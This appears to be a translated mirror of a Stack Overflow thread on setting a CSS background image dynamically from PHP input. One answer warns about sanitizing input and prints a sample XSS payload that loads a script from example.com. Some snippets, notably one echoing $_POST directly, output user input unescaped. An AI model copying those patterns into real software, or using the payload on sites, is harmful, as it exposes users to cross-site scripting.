php 如何将动态图像作为 CSS 背景？
声明：本页面是StackOverFlow热门问题的中英对照翻译，遵循CC BY-SA 4.0协议，如果您需要使用它，必须同样遵循CC BY-SA许可，注明原文地址和作者信息，同时你必须将它归于原作者（不是我）：StackOverFlow
原文地址: http://stackoverflow.com/questions/11303891/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
How to have dynamic image as CSS background?
提问by JROB
I have a logo div that I want to use my logo image as the background for, such as:
我有一个徽标 div，我想使用我的徽标图像作为背景，例如：
.logo {
background: #FFF url(images/logo.jpg);
}
However, on a settings page in my script, I would like to have a text input field to specify what the image URL is for the background image.
但是，在我的脚本的设置页面上，我想要一个文本输入字段来指定背景图像的图像 URL。
How can I set the background image for this div as the inputted image URL without having to do:
如何将此 div 的背景图像设置为输入的图像 URL，而无需执行以下操作：
<div><img src="/images/logo.jpg" /></div>
(The script is written in PHP)
（脚本是用PHP写的）
回答by Nathan
Here are two options to dynamically set a background image.
这里有两个选项可以动态设置背景图像。
Put an embedded stylesheet in the document's
<head>:<style type="text/css"> .logo { background: #FFF url(<?php echo $variable_holding_img_url; ?>); } </style>Define the
background-imageCSS property inline:<div style="background-image: url(<?php echo $varable_holding_img_url; ?>);">...</div>
将嵌入的样式表放在文档的
<head>:<style type="text/css"> .logo { background: #FFF url(<?php echo $variable_holding_img_url; ?>); } </style>background-image内联定义CSS 属性：<div style="background-image: url(<?php echo $varable_holding_img_url; ?>);">...</div>
Note:Make sure to sanitize your input, before saving it to the database (see Bobby Tables). Make sure it does not contain HTML or anything else, only valid URL characters, escape quotes, etc. If this isn't done, an attacker could inject code into the page:
注意：在将输入保存到数据库之前，请确保对其进行清理（请参阅Bobby 表）。确保它不包含 HTML 或其他任何内容，只包含有效的 URL 字符、转义引号等。如果不这样做，攻击者可以将代码注入页面：
"> <script src="http://example.com/xss-attack.js"></script> <!--
回答by Chad
<input type="text" class="inputContent" />
<script type="text/javascript">
var inputC = $('input.inputContent').val();
$('body').css('background', 'url(' + inputC + ')');
</script>
That's entirely js and jQuery, because I don't know PHP, but it's a solution!
那完全是js和jQuery，因为我不懂PHP，但它是一个解决方案！
回答by James L.
You either need to generate the css from a PHP script (somewhat advanced), or use inline styles to do the trick. Ex:
您要么需要从 PHP 脚本（有点高级）生成 css，要么使用内联样式来实现这一点。前任：
<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" >
//blah
</div>
This is incredibly insecure, but the most concise answer I can give..
这是非常不安全的，但我能给出的最简洁的答案..
回答by Arun P Johny
I think you can set the background image dynamically using javascript as given here.
我认为您可以使用此处给出的 javascript 动态设置背景图像。
document.getElementById("xyz").style.backgroundImage="your path";
If you prefer not to use javascript, why can't you use inline styleattribute.
ex
如果您不想使用 javascript，为什么不能使用内联style属性。
前任
<div style="background-image: url(xyz)"></div>
